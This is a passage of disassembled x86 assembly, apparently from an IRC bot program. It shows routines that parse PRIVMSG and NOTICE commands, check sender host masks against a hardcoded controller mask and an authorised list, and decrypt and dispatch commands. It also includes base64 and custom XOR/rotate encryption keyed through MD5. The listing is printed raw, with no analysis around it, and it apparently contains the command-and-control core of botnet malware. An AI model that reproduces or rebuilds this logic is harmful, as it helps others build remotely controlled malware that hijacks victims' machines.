		call	sub_410C94	; _strcmpi
		pop	ecx
		pop	ecx
		push	3
		test	eax, eax
		pop	edi
		jnz	short loc_40966C
		mov	eax, [ebx]
		cmp	byte ptr [eax],	1
		jz	short loc_40968A
		mov	eax, [esi+8]
		and	[ebp+var_4], 0
		mov	[ebp+arg_0], eax
		jmp	loc_409718
; ---------------------------------------------------------------------------


loc_40966C:				; CODE XREF: sub_408F9D+6B7j
		push	offset aNotice	; "NOTICE"
		push	dword ptr [esi+4]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4098B6
		mov	eax, [ebx]
		cmp	byte ptr [eax],	1
		jnz	short loc_4096CF


loc_40968A:				; CODE XREF: sub_408F9D+6BEj
		mov	ecx, [ebp+arg_4]
		inc	eax
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_4], edi
		xor	edi, edi
		inc	dword ptr [eax]
		cmp	[esi], edi
		mov	[ebp+arg_0], ecx
		jz	short loc_4096F8
		mov	[ebp+arg_C], esi


loc_4096A4:				; CODE XREF: sub_408F9D+72Ej
		cmp	edi, 0Fh
		jz	short loc_4096F8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_410826	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		cmp	byte ptr [ecx+eax-1], 1
		jz	short loc_4096DE
		add	[ebp+arg_C], 4
		inc	edi
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0
		jnz	short loc_4096A4
		jmp	short loc_4096F8
; ---------------------------------------------------------------------------


loc_4096CF:				; CODE XREF: sub_408F9D+6EBj
		mov	eax, [esi+8]
		mov	[ebp+var_4], 1
		mov	[ebp+arg_0], eax
		jmp	short loc_409718
; ---------------------------------------------------------------------------


loc_4096DE:				; CODE XREF: sub_408F9D+721j
		mov	ecx, edi
		shl	ecx, 2
		mov	edx, [ecx+esi]
		and	byte ptr [edx+eax-1], 0
		mov	edx, [ebp+arg_10]
		mov	ecx, [ecx+edx]
		and	byte ptr [ecx+eax-1], 0
		jmp	short loc_409718
; ---------------------------------------------------------------------------


loc_4096F8:				; CODE XREF: sub_408F9D+702j
					; sub_408F9D+70Aj ...
		mov	eax, [ebp+arg_10]
		shl	edi, 2
		push	dword ptr [edi+eax]
		call	sub_410826	; strlen
		pop	ecx
		mov	ecx, [edi+esi]
		cmp	byte ptr [ecx+eax-1], 1
		lea	eax, [ecx+eax-1]
		jnz	short loc_409718
		mov	byte ptr [eax],	1


loc_409718:				; CODE XREF: sub_408F9D+6CAj
					; sub_408F9D+73Fj ...
		push	offset byte_418B78
		push	[ebp+arg_0]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409731
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_0], eax


loc_409731:				; CODE XREF: sub_408F9D+78Cj
		push	7Ah
		lea	eax, [ebp+var_338]
		push	0
		push	eax
		call	sub_410850	; memset
		mov	eax, [ebp+arg_10]
		and	[ebp+arg_C], 0
		mov	edi, [eax]
		push	edi
		mov	[ebp+var_18], edi
		call	sub_410826	; strlen
		add	esp, 10h
		cmp	eax, 3
		mov	[ebp+var_10], eax
		jb	loc_409807


loc_409762:				; CODE XREF: sub_408F9D+7FFj
		mov	cl, [eax+edi-1]
		cmp	cl, 20h
		jnz	short loc_40976E
		dec	eax
		jmp	short loc_409796
; ---------------------------------------------------------------------------


loc_40976E:				; CODE XREF: sub_408F9D+7CCj
		cmp	byte ptr [eax+edi-3], 20h
		jnz	short loc_40979E
		cmp	byte ptr [eax+edi-2], 2Dh
		jnz	short loc_40979E
		cmp	cl, 7Ah
		jg	short loc_40979E
		movsx	ecx, cl
		mov	[ebp+arg_C], 1
		sub	eax, 3
		mov	[ebp+ecx+var_338], 1


loc_409796:				; CODE XREF: sub_408F9D+7CFj
		cmp	eax, 3
		mov	[ebp+var_10], eax
		jnb	short loc_409762


loc_40979E:				; CODE XREF: sub_408F9D+7D6j
					; sub_408F9D+7DDj ...
		cmp	[ebp+arg_C], 0
		jz	short loc_409807
		mov	edi, [ebp+arg_10]
		and	[ebp+var_C], 0
		mov	[ebp+var_8], esi
		sub	[ebp+var_8], edi


loc_4097B1:				; CODE XREF: sub_408F9D+868j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_409807
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_18]
		add	ecx, edx
		cmp	eax, ecx
		jb	short loc_4097FB
		xor	ecx, ecx
		cmp	[ebp+arg_C], ecx
		jz	short loc_4097E8
		cmp	[ebp+var_C], ecx
		jz	short loc_4097E5
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+edi-4]
		call	sub_410826	; strlen
		pop	ecx
		mov	ecx, [edi-4]
		and	byte ptr [eax+ecx], 0
		xor	ecx, ecx


loc_4097E5:				; CODE XREF: sub_408F9D+830j
		mov	[ebp+arg_C], ecx


loc_4097E8:				; CODE XREF: sub_408F9D+82Bj
		mov	eax, [edi]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		add	eax, edi
		mov	edx, [eax]
		and	byte ptr [edx],	0
		mov	[edi], ecx
		mov	[eax], ecx


loc_4097FB:				; CODE XREF: sub_408F9D+824j
		inc	[ebp+var_C]
		add	edi, 4
		cmp	[ebp+var_C], 10h
		jb	short loc_4097B1


loc_409807:				; CODE XREF: sub_408F9D+7BFj
					; sub_408F9D+805j ...
		mov	edi, offset byte_418B78
		push	edi
		push	dword ptr [esi+8]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409821
		push	[ebp+var_14]
		push	ebx
		jmp	short loc_40989B
; ---------------------------------------------------------------------------


loc_409821:				; CODE XREF: sub_408F9D+87Cj
		add	esi, 10h
		cmp	dword ptr [esi], 0
		jz	loc_4098B6
		push	offset asc_413F14 ; "*"
		push	dword ptr [ebx]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409893
		push	dword ptr [ebx]
		push	edi
		call	sub_4071EF
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_409893
		push	dword ptr [ebx]
		call	sub_410826	; strlen
		cmp	eax, 4
		pop	ecx
		ja	short loc_4098B6
		mov	edi, [ebx]
		push	edi
		call	sub_410826	; strlen
		cmp	byte ptr [eax+edi-1], 25h
		pop	ecx
		jnz	short loc_4098B6
		push	edi
		call	sub_410826	; strlen
		mov	ecx, [ebx]
		and	byte ptr [eax+ecx-1], 0
		call	sub_40AB05
		push	64h
		xor	edx, edx
		pop	ecx
		div	ecx
		push	dword ptr [ebx]
		mov	edi, edx
		inc	edi
		call	sub_41088C	; atoi
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jl	short loc_4098B6


loc_409893:				; CODE XREF: sub_408F9D+8A0j
					; sub_408F9D+8AEj
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		push	esi


loc_40989B:				; CODE XREF: sub_408F9D+882j
		lea	eax, [ebp+var_338]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40735A
		add	esp, 1Ch


loc_4098B6:				; CODE XREF: sub_408F9D+44j
					; sub_408F9D+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098BB	proc near		; CODE XREF: sub_408406+70p
					; sub_408F9D+648p ...

var_1184	= byte ptr -1184h
var_184		= byte ptr -184h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_78		= dword	ptr -78h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1184h
		call	sub_4108B0
		push	ebx
		lea	eax, [ebp+var_84]
		push	10h
		push	eax
		lea	eax, [ebp+var_44]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_1184]
		push	eax
		mov	[ebp+var_4], ebx
		push	[ebp+arg_0]
		call	sub_4051D2
		push	offset a302	; "302"
		push	[ebp+var_40]
		call	sub_410C94	; _strcmpi
		add	esp, 1Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		cmp	[ebp+var_44], ebx
		mov	dword_4186DC, eax
		jz	loc_409A89
		cmp	[ebp+var_40], ebx
		jz	loc_409A89
		push	esi
		push	edi
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_40]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40993E
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_40]
		call	sub_410C94	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4099B0


loc_40993E:				; CODE XREF: sub_4098BB+6Ej
		mov	eax, [ebp+var_38]
		cmp	eax, ebx
		jz	short loc_4099B0
		cmp	[ebp+var_34], ebx
		jnz	short loc_4099B0
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_4099B0
		cmp	byte ptr [eax+1], 3Dh
		jnz	short loc_4099B0
		add	eax, 2
		cmp	byte ptr [eax],	0
		jz	short loc_4099B0
		push	eax
		call	sub_409C55
		test	eax, eax
		pop	ecx
		jz	short loc_4099B0
		mov	eax, [ebp+var_38]
		lea	ecx, [eax+1]
		add	eax, 2
		push	ecx
		push	eax
		call	sub_409AD3
		push	eax
		mov	eax, [ebp+var_38]
		inc	eax
		push	eax
		call	sub_409EB3
		mov	esi, eax
		mov	eax, [ebp+var_38]
		inc	eax
		push	esi
		push	eax
		call	sub_409E33
		mov	eax, [ebp+var_38]
		push	0Dh
		and	byte ptr [esi+eax+1], 0
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		push	[ebp+var_78]
		push	[ebp+var_38]
		call	sub_4051D2
		add	esp, 2Ch


loc_4099B0:				; CODE XREF: sub_4098BB+81j
					; sub_4098BB+88j ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_44]
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409A0E
		cmp	off_4177AC, ebx
		jz	short loc_409A15
		mov	esi, offset off_4177AC
		mov	edi, esi


loc_4099D2:				; CODE XREF: sub_4098BB+142j
		push	dword ptr [edi]
		call	sub_40AC4E
		mov	eax, [ebp+var_44]
		push	dword ptr [edi]
		inc	eax
		push	eax
		call	sub_407187
		add	esp, 0Ch
		test	al, al
		jnz	short loc_409A01
		push	dword ptr [esi]
		call	sub_40AC15
		add	esi, 4
		inc	ebx
		pop	ecx
		mov	edi, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_4099D2
		jmp	short loc_409A15
; ---------------------------------------------------------------------------


loc_409A01:				; CODE XREF: sub_4098BB+12Fj
		push	off_4177AC[ebx*4]
		call	sub_40AC15
		pop	ecx


loc_409A0E:				; CODE XREF: sub_4098BB+106j
		mov	[ebp+var_4], 1


loc_409A15:				; CODE XREF: sub_4098BB+10Ej
					; sub_4098BB+144j
		push	1
		lea	esi, [ebp+var_184]
		xor	edi, edi
		pop	eax
		dec	esi


loc_409A21:				; CODE XREF: sub_4098BB+198j
		mov	ecx, [ebp+var_44]
		add	ecx, eax
		cmp	byte ptr [ecx],	21h
		jnz	short loc_409A36
		and	[ebp+eax+var_105], 0
		push	1
		pop	edi


loc_409A36:				; CODE XREF: sub_4098BB+16Ej
		test	edi, edi
		jnz	short loc_409A43
		mov	dl, [ecx]
		mov	[ebp+eax+var_105], dl


loc_409A43:				; CODE XREF: sub_4098BB+17Dj
		mov	dl, [ecx]
		mov	[esi+eax], dl
		cmp	byte ptr [ecx],	0
		jz	short loc_409A55
		inc	eax
		cmp	eax, 80h
		jl	short loc_409A21


loc_409A55:				; CODE XREF: sub_4098BB+190j
		lea	eax, [ebp+var_84]
		and	[ebp+var_85], 0
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_184]
		and	[ebp+var_105], 0
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_4]
		call	sub_408F9D
		add	esp, 14h
		pop	edi
		pop	esi


loc_409A89:				; CODE XREF: sub_4098BB+4Cj
					; sub_4098BB+55j
		pop	ebx
		leave
		retn
sub_4098BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A8C	proc near		; CODE XREF: seg000:00410798p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		cmp	byte ptr [edi],	0
		jz	short loc_409AAF
		push	esi


loc_409A97:				; CODE XREF: sub_409A8C+20j
		push	edi
		call	sub_40535A
		push	edi
		mov	esi, eax
		call	sub_4098BB
		cmp	byte ptr [esi],	0
		pop	ecx
		pop	ecx
		mov	edi, esi
		jnz	short loc_409A97
		pop	esi


loc_409AAF:				; CODE XREF: sub_409A8C+8j
		pop	edi
		retn
sub_409A8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_409AB1	proc near		; CODE XREF: seg000:00410620p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4186E0
		rep stosd
		pop	edi


loc_409ABF:				; CODE XREF: sub_409AB1+1Fj
		movzx	ecx, byte_414030[eax]
		mov	byte_4186E0[ecx], al
		inc	eax
		cmp	eax, 40h
		jb	short loc_409ABF
		retn
sub_409AB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD3	proc near		; CODE XREF: sub_40735A+253p
					; sub_40735A+649p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_410826	; strlen
		cmp	eax, 2
		pop	ecx
		mov	[ebp+arg_0], eax
		jnb	short loc_409AF0
		xor	eax, eax
		jmp	loc_409B9C
; ---------------------------------------------------------------------------


loc_409AF0:				; CODE XREF: sub_409AD3+14j
		push	ebx
		push	edi
		push	1
		xor	edx, edx
		xor	ecx, ecx
		pop	edi


loc_409AF9:				; CODE XREF: sub_409AD3+BFj
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	loc_409B97
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_4186E0[ebx]
		shl	bl, 2
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_409B97
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_4186E0[ebx]
		shr	bl, 4
		or	[eax], bl
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	short loc_409B97
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_4186E0[ebx]
		shl	bl, 4
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_409B97
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_4186E0[ebx]
		shr	bl, 2
		or	[eax], bl
		inc	edx
		cmp	edi, [ebp+arg_0]
		jnb	short loc_409B97
		movsx	ebx, byte ptr [ecx+esi]
		mov	eax, [ebp+arg_4]
		mov	bl, byte_4186E0[ebx]
		shl	bl, 6
		lea	eax, [eax+edx-1]
		inc	ecx
		inc	edi
		cmp	ecx, [ebp+arg_0]
		mov	[eax], bl
		jnb	short loc_409B97
		movsx	ebx, byte ptr [ecx+esi]
		mov	bl, byte_4186E0[ebx]
		or	[eax], bl
		inc	ecx
		inc	edi
		jmp	loc_409AF9
; ---------------------------------------------------------------------------


loc_409B97:				; CODE XREF: sub_409AD3+2Aj
					; sub_409AD3+4Bj ...
		pop	edi
		lea	eax, [edx-1]
		pop	ebx


loc_409B9C:				; CODE XREF: sub_409AD3+18j
		pop	esi
		pop	ebp
		retn
sub_409AD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B9F	proc near		; CODE XREF: sub_40735A+1D8p
					; sub_40735A+5ABp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	1
		movzx	eax, byte ptr [edi]
		shr	eax, 2
		pop	esi
		mov	al, byte_414030[eax]
		mov	[edx], al
		mov	cl, [edi]
		and	cl, 3
		mov	eax, esi
		shl	cl, 4
		cmp	[ebp+arg_8], esi
		jz	short loc_409C3C


loc_409BCB:				; CODE XREF: sub_409B9F+9Bj
		movzx	ebx, byte ptr [esi+edi]
		movzx	ecx, cl
		shr	ebx, 4
		or	ebx, ecx
		mov	cl, byte_414030[ebx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	cl, 0Fh
		inc	eax
		shl	cl, 2
		inc	esi
		cmp	esi, [ebp+arg_8]
		jz	short loc_409C3C
		movzx	ebx, byte ptr [esi+edi]
		movzx	ecx, cl
		shr	ebx, 6
		or	ebx, ecx
		mov	cl, byte_414030[ebx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	ecx, 3Fh
		inc	eax
		mov	cl, byte_414030[ecx]
		mov	[eax+edx], cl
		inc	eax
		inc	esi
		cmp	esi, [ebp+arg_8]
		jz	short loc_409C4C
		movzx	ecx, byte ptr [esi+edi]
		shr	ecx, 2
		mov	cl, byte_414030[ecx]
		mov	[eax+edx], cl
		mov	cl, [esi+edi]
		and	cl, 3
		inc	eax
		shl	cl, 4
		inc	esi
		cmp	esi, [ebp+arg_8]
		jnz	short loc_409BCB


loc_409C3C:				; CODE XREF: sub_409B9F+2Aj
					; sub_409B9F+4Fj
		movzx	ecx, cl
		or	ecx, 1
		mov	cl, byte_414030[ecx]
		mov	[eax+edx], cl
		inc	eax


loc_409C4C:				; CODE XREF: sub_409B9F+7Bj
		and	byte ptr [eax+edx], 0
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409B9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C55	proc near		; CODE XREF: sub_40735A+218p
					; sub_4098BB+A3p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_410826	; strlen
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		jle	short loc_409C81


loc_409C68:				; CODE XREF: sub_409C55+2Aj
		mov	dl, [ecx+esi]
		movsx	edi, dl
		cmp	byte_4186E0[edi], 0
		jnz	short loc_409C7C
		cmp	dl, 41h
		jnz	short loc_409C87


loc_409C7C:				; CODE XREF: sub_409C55+20j
		inc	ecx
		cmp	ecx, eax
		jl	short loc_409C68


loc_409C81:				; CODE XREF: sub_409C55+11j
		push	1
		pop	eax


loc_409C84:				; CODE XREF: sub_409C55+34j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409C87:				; CODE XREF: sub_409C55+25j
		xor	eax, eax
		jmp	short loc_409C84
sub_409C55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C8B	proc near		; CODE XREF: seg000:00410635p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_409F29
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_409F51
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_4187E4
		call	sub_409FF0
		add	esp, 18h
		lea	eax, byte_4187E4
		push	10h
		pop	edx


loc_409CC3:				; CODE XREF: sub_409C8B+40j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_409CC3
		leave
		retn
sub_409C8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CCF	proc near		; CODE XREF: sub_40735A+15p
					; sub_40CA47+F9p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_409CDA:				; CODE XREF: sub_409CCF+2Dj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_409CFE
		cmp	ecx, 61h
		jb	short loc_409CE8
		sub	ecx, 20h


loc_409CE8:				; CODE XREF: sub_409CCF+14j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_4187E4[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_409CDA
; ---------------------------------------------------------------------------


loc_409CFE:				; CODE XREF: sub_409CCF+Fj
		pop	esi
		pop	ebp
		retn
sub_409CCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D01	proc near		; CODE XREF: seg000:0041063Dp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	esi
		lea	eax, [ebp+var_58]
		push	edi
		push	eax
		call	sub_409F29
		push	[ebp+arg_4]
		lea	eax, [ebp+var_58]
		push	[ebp+arg_0]
		push	eax
		call	sub_409F51
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_4187F8
		call	sub_409FF0
		add	esp, 18h
		lea	esi, dword_4187F8
		mov	edi, esi
		push	10h
		pop	ecx


loc_409D3D:				; CODE XREF: sub_409D01+44j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_409D3D
		pop	edi
		pop	esi
		leave
		retn
sub_409D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D4B	proc near		; CODE XREF: sub_409E1D+Dp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		xor	esi, esi
		test	eax, eax
		mov	[ebp+var_8], esi
		jle	short loc_409DAF
		push	ebx
		push	edi
		push	10h
		mov	edi, [ebp+arg_8]
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_1], dl
		shl	[ebp+var_1], 2


loc_409D6F:				; CODE XREF: sub_409D4B+60j
		mov	eax, [ebp+arg_0]
		push	10h
		lea	ecx, [esi+eax]
		mov	eax, esi
		cdq
		pop	esi
		add	byte ptr [ecx],	0CDh
		idiv	esi
		movzx	eax, byte ptr [edx+edi]
		push	10h
		pop	ebx
		lea	esi, [edx+edi]
		cdq
		idiv	ebx
		mov	al, [ecx]
		sub	al, [edx+edi]
		mov	[ecx], al
		mov	dl, [esi]
		mov	esi, [ebp+var_8]
		not	dl
		xor	dl, al
		xor	dl, [ebp+var_1]
		inc	dl
		inc	esi
		cmp	esi, [ebp+arg_4]
		mov	[ecx], dl
		mov	[ebp+var_8], esi
		jl	short loc_409D6F
		pop	edi
		pop	ebx


loc_409DAF:				; CODE XREF: sub_409D4B+10j
		pop	esi
		leave
		retn
sub_409D4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DB2	proc near		; CODE XREF: sub_409E33+Dp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	edi
		xor	edi, edi
		test	eax, eax
		mov	[ebp+var_8], edi
		jle	short loc_409E1A
		push	ebx
		push	esi
		push	10h
		mov	esi, [ebp+arg_8]
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_1], dl
		shl	[ebp+var_1], 2


loc_409DD6:				; CODE XREF: sub_409DB2+64j
		mov	eax, [ebp+arg_0]
		push	10h
		lea	ecx, [edi+eax]
		mov	eax, edi
		cdq
		pop	edi
		mov	bl, [ecx]
		idiv	edi
		dec	bl
		xor	bl, [ebp+var_1]
		mov	[ecx], bl
		mov	al, [edx+esi]
		not	al
		xor	al, bl
		mov	byte ptr [ebp+arg_8+3],	al
		mov	[ecx], al
		movzx	eax, byte ptr [edx+esi]
		add	edx, esi
		cdq
		idiv	edi
		mov	edi, [ebp+var_8]
		mov	al, [edx+esi]
		add	al, byte ptr [ebp+arg_8+3]
		add	al, 33h
		inc	edi
		cmp	edi, [ebp+arg_4]
		mov	[ecx], al
		mov	[ebp+var_8], edi
		jl	short loc_409DD6
		pop	esi
		pop	ebx


loc_409E1A:				; CODE XREF: sub_409DB2+10j
		pop	edi
		leave
		retn
sub_409DB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_409E1D	proc near		; CODE XREF: sub_40735A+1B7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4187F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_409D4B
		add	esp, 0Ch
		retn
sub_409E1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_409E33	proc near		; CODE XREF: sub_40735A+26Fp
					; sub_408F9D+5CBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4187F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_409DB2
		add	esp, 0Ch
		retn
sub_409E33	endp


; =============== S U B	R O U T	I N E =======================================



sub_409E49	proc near		; CODE XREF: sub_40735A+1C4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		lea	esi, [eax+4]
		push	ebx
		push	eax
		push	esi
		call	sub_410838	; memcpy
		add	esp, 0Ch
		call	sub_40AB05
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_409E88


loc_409E6D:				; CODE XREF: sub_409E49+3Dj
		mov	cl, [edi+esi]
		push	1
		add	cl, al
		push	eax
		xor	cl, al
		mov	[edi+esi], cl
		call	sub_410B06	; _lrotl
		add	eax, edi
		inc	edi
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jl	short loc_409E6D


loc_409E88:				; CODE XREF: sub_409E49+22j
		lea	edi, [ebx-1]


loc_409E8B:				; CODE XREF: sub_409E49+5Ej
		cmp	edi, 0FFFFFFFFh
		jz	short loc_409EA9
		mov	cl, [edi+esi]
		push	1
		add	cl, al
		push	eax
		xor	cl, al
		mov	[edi+esi], cl
		call	sub_410B06	; _lrotl
		pop	ecx
		add	eax, edi
		pop	ecx
		dec	edi
		jmp	short loc_409E8B
; ---------------------------------------------------------------------------


loc_409EA9:				; CODE XREF: sub_409E49+45j
		mov	[esi-4], eax
		pop	edi
		lea	eax, [ebx+4]
		pop	esi
		pop	ebx
		retn
sub_409E49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409EB3	proc near		; CODE XREF: sub_40735A+260p
					; sub_408F9D+5BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		push	edi
		mov	ebx, [esi]
		push	eax
		lea	eax, [esi+4]
		push	eax
		push	esi
		call	sub_410B12	; memmove
		sub	[ebp+arg_4], 4
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+arg_4], edi
		jle	short loc_409EFB


loc_409EDD:				; CODE XREF: sub_409EB3+46j
		sub	ebx, edi
		push	1
		push	ebx
		call	sub_410B0C	; _lrotr
		mov	ebx, eax
		mov	al, [edi+esi]
		xor	al, bl
		pop	ecx
		sub	al, bl
		pop	ecx
		mov	[edi+esi], al
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_409EDD


loc_409EFB:				; CODE XREF: sub_409EB3+28j
		mov	eax, [ebp+arg_4]
		lea	edi, [eax-1]


loc_409F01:				; CODE XREF: sub_409EB3+6Cj
		cmp	edi, 0FFFFFFFFh
		jz	short loc_409F21
		sub	ebx, edi
		push	1
		push	ebx
		call	sub_410B0C	; _lrotr
		mov	ebx, eax
		mov	al, [edi+esi]
		xor	al, bl
		pop	ecx
		sub	al, bl
		pop	ecx
		mov	[edi+esi], al
		dec	edi
		jmp	short loc_409F01
; ---------------------------------------------------------------------------


loc_409F21:				; CODE XREF: sub_409EB3+51j
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409EB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F29	proc near		; CODE XREF: sub_409C8B+Ap
					; sub_409D01+Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword ptr [eax+10h], 0
		and	dword ptr [eax+14h], 0
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_409F29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F51	proc near		; CODE XREF: sub_409C8B+19p
					; sub_409D01+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
